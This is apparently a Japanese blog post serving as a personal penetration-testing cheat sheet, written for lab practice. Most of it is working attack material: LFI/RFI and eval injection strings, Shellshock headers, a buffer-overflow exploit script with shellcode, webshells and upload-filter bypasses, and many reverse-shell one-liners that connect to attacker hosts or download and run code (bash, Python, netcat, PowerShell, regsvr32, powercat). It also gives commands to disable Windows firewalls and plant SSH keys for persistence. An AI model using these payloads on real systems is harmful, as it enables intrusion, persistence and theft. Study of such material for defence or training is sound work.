    f:id:kakyouim:20200314024157p:plain
    MongoDB and CouchDBが対象。

  • python nosqlmap.py --attack 2 --victim 10.11.1.1 --webPort 80 --uri /login --httpMethod POST --postData email,test@test.test,password,qwerty --injectedParameter 1 --injectSize 4 --injectFormat 2 --savePath output.log
    --injectedParameter 1{'password': "qwerty"}{'password': "a'; return db.a.find(); var dummy=1"}みたいにペイロードをInjectする。
    --injectSize 4でランダムな文字列のサイズを指定。これでよさそう。
    --injectFormat 2でinjected stringsをletters onlyにする。
    以下、わかりやすい参考文献。
    medium.com

PHP Vulnervilities

PHP File Inclusion

  • page=../../../../../../../../../../etc/passwd
    LFI(Local File Inclusion)
  • page=../../../../../../../../../../etc/passwd%00
    %00はヌルバイト。
    LFIしかできない場合、../../../var/log/apache2/access.log
    PHPコードを書き込む(アクセスする)ことで、シェルがとれるかも。
RHEL / Red Hat / CentOS / Fedora Linux Apache access file location – /var/log/httpd/access_log
Debian / Ubuntu Linux Apache access log file location – /var/log/apache2/access.log
FreeBSD Apache access log file location – /var/log/httpd-access.log

以下、LFIからRCEをする参考文献。
outpost24.com
medium.com
LFI + phpinfo.phpのExplot codeは以下にある。

github.com

  • page=http://192.168.56.5/share/test.txt
    RFI(Remote File Inclusion)
  • page=php://filter/convert.base64-encode/resource=config
  • page=php://filter/convert.base64-encode/resource=config.php
  • page=php://filter/read=convert.base64-encode/resource=/etc/passwd
  • page=php://input&cmd=ls
  • page=proc/self/environ
  • kadimus
    PHP LFI/RFIを自動で特定するツール。
    github.com

  • RFIでヌルバイトでうまく行かないときのnetcatを使った方法
    netcatでHTTPレスポンスを強引に作ってデータを返す。

root@kali:/var/www/html# nc -lvp 443
listening on [any] 443 ...
connect to [10.11.0.1] from test.test.local [10.11.1.1] 59553
GET /test.txt\0header.php HTTP/1.0
Host: 10.11.0.1:443

HTTP/1.1 200 OK
Server: Apache/2.4.34 (Debian)
Content-Length: 289
Connection: close
Content-Type: text/html; charset=iso-8859-1

<?php echo shell_exec(id);?>

以下参考文献
Comprehensive Guide on Local File Inclusion (LFI)
awesome-security-trivia/Tricky-ways-to-exploit-PHP-Local-File-Inclusion.md at master · qazbnm456/awesome-security-trivia · GitHub

PHP CGI Remote Code Execution

phpinfo.php?-s

POST /bWAPP/admin/phpinfo.php?-d+allow_url_include%3DOn+-d+auto_prepend_file%3Dphp://input

<?php readfile('/etc/passwd'); ?>

PHP Eval Function

  • php_eval.php?eval=system('cat /etc/passwd');
  • eval=phpinfo();
  • eval=;echo exec('id');
  • eval=;echo exec(id);
  • eval=;exec('nc -e /bin/sh 192.168.56.5 4444');
    execを実行結果を表示するにはechoが必要だが、systemでは必要ない(っぽい)

shell shock

  • Referer: () { :;};echo;/bin/echo "shell shock"
  • Referer: () { :;};echo;echo "shell shock"
  • Referer: () { :;};echo "ssssss" $(/bin/sh -c "nc -e /bin/bash 192.168.56.5 4444")
  • User-Agent: () { :;};echo -e "\r\nKNLIwpKiKTCa0nEHWEmc9Iquq"
use exploit/multi/http/apache_mod_cgi_bash_env_exec
set RHOSTS 192.168.56.33
set targeturi /bWAPP/cgi-bin/shellshock.sh
exploit
  • nmap 10.11.1.1 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/test-cgi
    で脆弱かどうか確認。

    HTTP要求の改竄

    Burp Suiteを使って書き換える。
    f:id:kakyouim:20200104222547p:plain
    Firefoxの[Preference]の[general]から[Network]を選び上記のように設定。
    f:id:kakyouim:20200104222735p:plain
    Burp Suiteを起動して、[Proxy]タブで上記のように設定。
    f:id:kakyouim:20200104222849p:plain
    [Intercept]タブで[Intercept is on]にしてHTTP要求を受け取る。そして、[action]の[Send to Repeater]を選択。
    f:id:kakyouim:20200104223105p:plain
    [Repeat]タブに移動して、左ウインドウの内容を書き換えて、[Send]で送信する

Hash crack

Buffer Overflow

msfvenom

  • msfvenom -l payloads
    でpayloadsを確認できる
  • msfvenom -l encoders
    指定するエンコーダーによって同じ動作をするペイロードでも違ったペイロードが出力される
    標準はshikata_ga_naiだが、それでうまく行かない場合(bad charactersが\x00以外にもある場合?)は別のエンコーダーを使用する必要がある。
  • -boption
    -bで使用しないCharacterを指定できる
  • -foptoins
    msfvenom -p windows/shell_reverse_tcp LPORT=31337 LHOST=YOURIPHERE -f exe-service > daclservicehijack.exe
    Windowsがサービスを開始するための呼び出しを行うとき、ServiceMain関数を呼び出し、この呼び出しからの戻りを予期します。
    exe-serviceを指定しない場合、生成されたペイロードは永続的なシェルを提供できません。
    Windowsのサービスバイナリのために作成する場合は-f exe-serviceを付けないといけない
  • staged/non staged
    • windows/shell_reverse_tcp
      stage lessでバイナリのサイズが大きい。
      nc -lvp 4444でNetcatでリバースシェルをキャッチするときは、StagedじゃなくてStagelessを使う。
    • windows/shell/reverse_tcp
      stagedで二段階に分けて実行を行うため、Bufferのサイズが小さいときに使う。
      netcatではキャッチできない。
  • msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.112 LPORT=4445 EXITFUNC=thread -f exe -a x86 --platform windows -o reverse-shell.exe
    EXITFUNC=threadペイロードを注入するサービスの動作を中止させることなくペイロードを実行できる。
  • --var-name,--nopsled
    変数の名前を指定、NOPスレッドでペイロードの長さを調整できる。

    攻撃手順

  • 静的解析
    • radare2 ./program
    • objdump -D -M intel program
    • file program
  • eipの奪取
    • /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 400
    • gdb --args ./movie_search "payload”
    • /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41386c41
  • 任意ペイロードの実行
    • objdump -D -M intel movie_search | grep jmp | grep esp
    • send = padding + return_esp + payload
  • Exploit codeの作成
    • sudo msfvenom -p linux/x86/exec CMD=/bin/ps -b '\x00' -e x86/opt_sub -f raw > payload.txt
use linux/x86/exec
set CMD /bin/ps
generate -b '\x00' -e x86/opt_sub -f py
  • payloads
    payloadsは以下のものをよく使う(気がする)
    • linux/x86/exec
    • linux/x86/shell/reverse_tcp
    • linux/x86/meterpreter/reverse_tcp
    • linux/x86/shell_bind_tcp
  • encode payloads
    payloadsはWeb経由で送信する場合はURLエンコードする必要があったりなかったり
    • (echo -n \'; cat payload.txt; echo -n \';) | perl -pe's/(.)/sprintf("%%%02X",ord($1))/seg'
    • urllib.parse.quote(paylaod.txt)
  • sample exploit code
    以下はサンプルExploit code
import sys
import socket
host = "192.168.56.33"
port = 666

junk = b"A" * 354
ret_addr = b"\xa7\x8f\x04\x08"
nop = b"\x90" * 16
buf =  b""
buf += b"\xda\xca\xd9\x74\x24\xf4\x5a\x33\xc9\xb8\x0f\x55\x1c"
buf += b"\xa3\xb1\x1f\x31\x42\x1a\x03\x42\x1a\x83\xc2\x04\xe2"
buf += b"\xfa\x3f\x16\xfd\x35\x1b\xd1\xe2\x66\xd8\x4d\x8f\x8a"
buf += b"\x6e\x17\xc6\x6b\x43\x58\x4f\x30\x34\x99\xd8\xfe\xc1"
buf += b"\x71\x1b\xfe\xd8\xdd\x92\x1f\xb0\xbb\xfc\x8f\x14\x13"
buf += b"\x74\xce\xd4\x56\x06\x95\x1b\x11\x1e\xdb\xef\xdf\x48"
buf += b"\x41\x0f\x20\x89\xdd\x7a\x20\xe3\xd8\xf3\xc3\xc2\x2b"
buf += b"\xce\x84\xa0\x6b\xa8\x39\x41\x4c\xf9\x45\x2f\x92\xed"
buf += b"\x49\x4f\x1b\xee\x8b\xa4\x17\x30\xe8\x37\x97\xcf\x22"
buf += b"\xc7\x52\xef\xc5\xd8\x07\x79\xd4\x40\x05\x5d\xa7\x70"
buf += b"\xa4\x1e\x42\xb6\x4e\x1d\xb2\xd6\x16\x20\x4c\x19\x66"
buf += b"\x98\x4d\x19\x66\xde\x80\x99"

print("Sending payload....")
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect((host,port))
s.send(junk + ret_addr + nop + buf)
s.close()

シェルの奪取

Webshellの設置

Webdav Scanner

  • cadaver http://192.168.56.8/webdav
    ls,put,move,copyが使えて便利。
    初めに接続して、lsしたい。
  • davtest -url http://192.168.56.8/webdav/
    davtest -url http://192.168.56.5/_vti_log/ -sendbd auto -move
    でMOVEメソッドが成功するのか確認できる。
    メソッドが使用できても書き込み権限がない場合はUploadできない。
    めぼしいディレクトリはすべて調査するのがよさそう。
  • use auxiliary/scanner/http/webdav_scanner
    参考文献
    www.hackingarticles.in
    Msfvenomでのaspペイロード作成コマンドなどは以下を参照。
    https://github.com/xapax/security/blob/master/reverse-shell.mdgithub.com

手動で設置

  • PUTメソッドでファイルアップロード
    curlやniktoなどで確認
    <?php system($_GET['cmd']); ?>
    curl -v -X PUT -d "Test" http://192.168.56.14/test/test.txt
    curl -T shell-venom-staged.txt http://10.11.1.1/upload
    curl -X MOVE --header 'Destination:http://10.11.1.1/upload/shell-venom.asp' 'http://10.11.1.1/upload/shell-venom.txt'
  • ファイルのヘッダーを書き換えてアップロード
    PDFや画像ファイルしかアップできなくても、ファイルの先頭に%PDF-1.5とさえ書いておけばphpファイルをアップできるかも

Bypass File Upload

  • 拡張子の変更
    .php.jpg,.php5,.PHp3,.phtとか
  • MIMEタイプの偽造
    Burp Suiteを使用して、Content-type: image/jpegに書き換える
  • GIF file ヘッダーの付与
    GIF89a;を先頭に着ける。
  • "nginx" AND "php" AND "execute" AND (".gif" OR ".png") AND ("misconfiguration" OR "misconfig" OR "properly") AND "upload"
    Googleでnginxの設定ミスでPHP以外のファイルがPHPとして実行できたりしないかとかいろいろ調べてみる。
  • exiftool -Comment='<?php system($_GET['cmd']); ?>' image.jpeg
    参考文献

github.com

pentestlab.blog
vulp3cula.gitbook.io
medium.com

Reverse shell

Linux

  • 実行できるコマンドの調査
    いきなりシェルスクリプトとかを実行すると、Firewallが特定のポートをはじいている場合などにデバッグできなくて詰むので、ちゃんと何が実行できるのかを整理してから選ぶ!!
    以下、PHPの前提で進める。
  • <?php echo exec("id"); ?>
    普通のコマンドが実行できているのかまず確認する。奪取できるシェルの権限も確認できる。
  • <?php echo exec("set 2>&1 | tr -d '\n' 2>&1"); ?>
    環境変数PATHの値をチェックする。pythonなどがPATHが通っていないだけの場合が考えられるため。
    2>&1標準エラー出力を標準出力にマージすることでエラーも見れるようになる。
  • bash
    • <?php echo exec("bash -i 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("whereis bash 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("locate bash 2>&1 | tr -d '\n' 2>&1"); ?>
  • nc
    • <?php echo exec("nc -h 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("find / -name 'nc.*' -type f"); ?>
    • <?php echo exec("locate nc 2>&1 | tr -d '\n' 2>&1"); ?>
      出力がとても多いので、locate nc 2>&1 | grep '\/nc' 2>&1 | grep -vE 'nc.' 2>&1として、これをBase64Encodeして、
      <?php echo system(base64_decode(""))?>
      のようにすることもできる。
      encodeしないと期待した結果が得られなかった(???)
    • <?php echo system(base64_decode("bG9jYXRlIG5jIDI+JjEgfCBncmVwICdcL25jJyAyPiYxIHwgZ3JlcCAtdkUgJ25jLicgMj4mMQ0K"))?>
  • netcat
    • <?php echo exec("netcat -h 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("find / -name 'netcat.*' -type f"); ?>
    • <?php echo exec("locate netcat 2>&1 | tr -d '\n' 2>&1"); ?>
  • telnet
    • <?php echo exec("telnet -h 2>&1 | tr -d '\n' 2>&1"); ?>
      telnetncが使えるとき、どのFirewallによって特定のポートへのOutboundが遮断されていないかどうかをWiresharkで確認できる。
    • <?php echo exec("telnet 10.11.0.1 5555 2>&1"); ?>
  • perl
    • <?php echo exec("perl -h 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("whereis perl 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("locate perl 2>&1 | tr -d '\n' 2>&1"); ?>
  • python
    • <?php echo exec("python -h 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("whereis python 2>&1 | tr -d '\n' 2>&1"); ?>
    • <?php echo exec("locate python 2>&1 | tr -d '\n' 2>&1"); ?>
  • wget

    • <?php echo exec("wget -h 2>&1 | tr -d '\n' 2>&1"); ?>
  • Reverse shell script
    pentestmonkey.net
    github.com
    book.hacktricks.xyz

のリバースシェル用のスクリプトを参考にする。

代表的なものとしては、

  • bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
  • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  • nc -e /bin/sh 10.0.0.1 1234
  • msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.16 LPORT=4444 SHELL=/bin/bash -a cmd --platform Unix -e generic/none
  • msfvenom -p cmd/unix/reverse_bash LHOST=10.0.0.1 LPORT=4242 -f raw > shell.sh
  • wget http://10.11.0.1/reverse/linux/reverse-443.sh -O /tmp/reverse-443.sh && bash /tmp/reverse-443.sh
  • rm -f /tmp/p; mknod /tmp/p p && telnet 10.11.0.112 5555 0/tmp/p
  • telnet 10.11.0.112 5555 | /bin/bash | telnet 10.11.0.112 6666
  • 5555と6666ポートの両方を開けておく。5555ポートにコマンドを入力すると6666ポートに結果が表示される。

である。

他にもKaliLinuxにはreverse shell用のスクリプトが容易されている。

  • /usr/share/webshells/php/php-reverse-shell.php
  • sudo msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.56.5 lport=443 -f raw

として、use /exploit/multi/handlerモジュールを選択し、payloadにphp/meterpreter/reverse_tcp(staged)を選択する
f:id:kakyouim:20200103185552p:plain
meterpreterセッション確立後は、sysinfo,getuidなどで情報を集める。

Windows

  • cscript wget.vbs http://10.11.0.11/exploit/windows/nc.exe nc.exe
    wget.vbsechoワンライナーで作成しておき、nc.exeをUploadする
    nc -nv 10.11.0.11 4444 -e cmd.exe
    でReverse shellを得る
  • tftp -i 10.11.0.112 get nc.exe
    atftpd --daemon --port 69 /tftp
    /tftpnc.exeを設置しておき、上記のコマンドが使えればこれでnc.exeをUploadする
    他にも、certuril,powershellnc.exeをアップする方法がある。
  • powershell one liner


IP,portを編集して以下でbase64エンコードしてワンライナーで実行できるようにする
2021 3/1追記
powershell-EncodedCommandで実行するにはデフォルトのUTF-8ではなくUTF-16LEでエンコードされていないといけない!
iconv -f ASCII -t UTF-16LE powershellrev.ps1 | base64 | tr -d "\n"で変換してエンコード
https://stackoverflow.com/questions/57399778/how-to-run-base64-code-in-powershell-with-ascii

raikia.com
powershell.exe -EncodedCommand JABzAGUAcgB2AGUAc.......
もしくはpowershellファイルをpowershell .\test.ps1のようにしてcmd上で実行する
- regsvr32 /s /n /u /i:http://10.11.0.112/reverse-4445.sct scrobj.dll
Kaliに用意したreverse-4445.sctファイルを実行して、reverse-4445.ps1ファイルを実行する。
PSのリバースシェルが得られる。

<?XML version="1.0"?><scriptlet><registration progid="SCqiRsAq" classid="{30ccdc90-36cf-68ac-6562-51b3f07b27ea}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("powershell.exe -nop -w hidden -c $c=new-object net.webclient;$c.proxy=[Net.WebRequest]::GetSystemWebProxy();$c.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $c.downloadstring('http://10.11.0.1/reverse-4445.ps1');",0);]]></script></registration></scriptlet>
$client = New-Object System.Net.Sockets.TCPClient("10.11.0.1",4445);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
  • powercat
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://10.11.0.11/exploit/windows/powercat.ps1');powercat -c 10.11.0.11 -p 4444 -e cmd"

github.com
- cmd.exe /c powershell -c Invoke-WebRequest -Uri "http://10.10.14.8/nc.exe" -OutFile "C:\windows\system32\spool\drivers\color\nc.exe


netsh firewall show config
Firewallの設定を確認できる。
FirewallによってOutboundが許可されず、コマンドは実行できるがリバースシェルが得られない場合、
netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
Firewallの設定を無効にする。

他にも以下の記事にいろいろなやり方が書いてある
www.hackingarticles.in
book.hacktricks.xyz

tomcat manager reverse shell

  • manual
    tomcat managerにログインできたときに以下のjspファイルを作成し、
    github.com
$ mkdir webshell
$ cp index.jsp webshell
$ cd webshell
$ jar -cvf ../webshell.war *

でwarファイルを作成してデプロイ
または,
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.1 LPORT=443 -f raw > reverse-443.jsp
でReverse shellのJSPファイルを作成したものをコンパイル
- use exploit/multi/http/tomcat_mgr_upload
- msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.1.1 lport=443 -f war > reverse-443.war
medium.com
charlesreid1.com

axis2 reverse shell

  • sudo msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f jar -o shell.jar
    axis2にログインできている場合、上記でペイロードを作成。
    sudo jar -xvf shell.jarで一度展開し、
    META-INF/generate_payload.pyに書かれているservices.xmlを追加。
    metasploit/src/lib/axis2/PayloadServlet.classを追加.
    そして、
    sudo jar cvfm shell4.jar META-INF/MANIFEST.MF META-INF metasploit metasploit.dat
    で再度jarファイルを作成し、アップロード。

Microsoft IIS reverse shell

  • msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.1 LPORT=8888 -f asp > shell-venom-less.txt
    netcatでリッスンする場合はStagelessを採用。
  • curl -T shell-venom-less.txt http://10.11.1.1/upload/
    aspファイルを直接Uploadできない場合は、TXTファイルをMOVEASPファイルに書き換える。
  • curl -X MOVE --header 'Destination:http://10.11.1.1/upload/shell-venom-less.asp' 'http://10.11.1.1/upload/shell-venom-less.txt'
    これで、URLにアクセスするとシェルが得られる。
  • bypass protected page
    IIS5.0ならWedDAVがデフォルトで有効になっており、Translate: fヘッダーを追加したり、%c0%afをURLの文字列に加えることで保護されているページにアクセスできるようになる。
    blog.skullsecurity.org

  • use exploit/windows/iis/iis_webdav_upload_asp
    Metasploitでも同じことが可能。

  • /usr/share/webshells/asp/cmdasp.asp
    KaliにASPのWebshellが存在するが、なんか実行できなかった。

Shell Upgrade

  • python -c 'import pty; pty.spawn("/bin/sh")'
    現在の擬似シェルから抜け出し、ptyシェルにアップグレード
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • perl —e 'exec "/bin/sh";'
    tty(疑似端末)を持たないシェルの場合、標準入力を使うsuコマンドやジョブ制御ができない
    echo $SHELLで現在使っているシェルを確認
    https://netsec.ws/?p=337に詳しくのっている。
    参考:完全なTTYシェルの取得

orebibou.com
https://innogen-security.com/linux-tty-shell-using-script/innogen-security.com

Upgrading Simple Shells to Fully Interactive TTYs - ropnop blog

Bypass restricted shell

  • vi上で:!/bin/sh,:set shell=/bin/sh,:shell
  • scp -F /etc/passwd x y:
    その他、less,moreコマンドなど
    rbash上ではls,cd,/を含むコマンド,export PATH=/usr/bin:$PATHなどができない。ビルトインコマンド(execなど)を試す
    export -p
    pwd
  • シェルに接続する時に-t "bash --noprofile"を付与すると、制限付きシェルを回避できるかもしれない。
    SSHを介してコマンドが実行できるということ
  • OS(Kernel)特有のバグで回避できるかもしれない
  • help
    helpコマンドはビルトインなので実行できる

  • SSH shellでログイン
    Kali@ssh-keygen -P "" -f vulnerable
    Target@ mkdir ~www-data/.ssh
    Target@chmod 700 ~www-data/.shh
    Target@cd ~www-data/.ssh
    Target@echo “Kali上でcat vulnerable.pubした結果” >> authorized_keys
    Target@chmod 600 authorized_keys
    これで準備OK
    Kali@ssh 192.168.56.26 -l www-data -i vulnerable
    参考(詳細)
    https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shellspen-testing.sans.org

www.hackingarticles.in

fireshellsecurity.team

Socatを用いたTCPリダイレクト

  • Kali@ssh-keygen -P "" -f vulnerable
    SSH鍵を作成する。これでvulnerableとvulnerable.pubという秘密鍵と公開鍵が作成される。このうち、公開鍵を標的のサーバ上に保存する。「@Kali」と書いてるのはどっちで操作するのかわかりやすくするため
  • Target@ mkdir ~www-data/.ssh
  • Target@chmod 700 ~www-data/.shh
  • Target@cd ~www-data/.ssh
  • Target@echo “Kali上でcat vulnerable.pubした結果” >> authorized_keys
  • Target@chmod 600 authorized_keys
    これで準備OK。
  • Target@ while true; do socat TCP4:attacker:443 TCP4:127.0.0.1:22 ; done
  • Kali@ sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr
    そして、最後にKaliで新たなTerminalを作成して、そこで
  • Kali@ssh localhost -p 2222 -l www-data -i vulnerable
    とすれば以下のように使いやすいシェルが降ってくる。
    f:id:kakyouim:20200103201628p:plain
    さらに、代わりに
  • Kali@ssh localhost -p 2222 -l www-data -i vulnerable -L 13306:localhost:3306
    とすることで、このシェルがつながった後、シェル上で
  • Target@mysql -h localhost -u root -P 13306
    とすることで以下のような良いMysqlシェルが立ち上がる。
    f:id:kakyouim:20200103201814p:plain

クレデンシャル情報の探索

  • find . -type f -name "*.php" | xargs grep "username" | grep "password"
  • grep -r "config" . | grep "password"
  • locate settings.php
    などで探す。/var/www/以下にあるファイルに対して行う。settings,configなどの名前のことが多い。


2020 3/8追記
以前ここに書いていたWindows のPEとIGの方針は文字数の都合上以下に載せなおしました。
kakyouim.hatenablog.com

最後

なんか間違ってたりしてたら教えていただけると幸いです。Vulnbub頑張るぞい!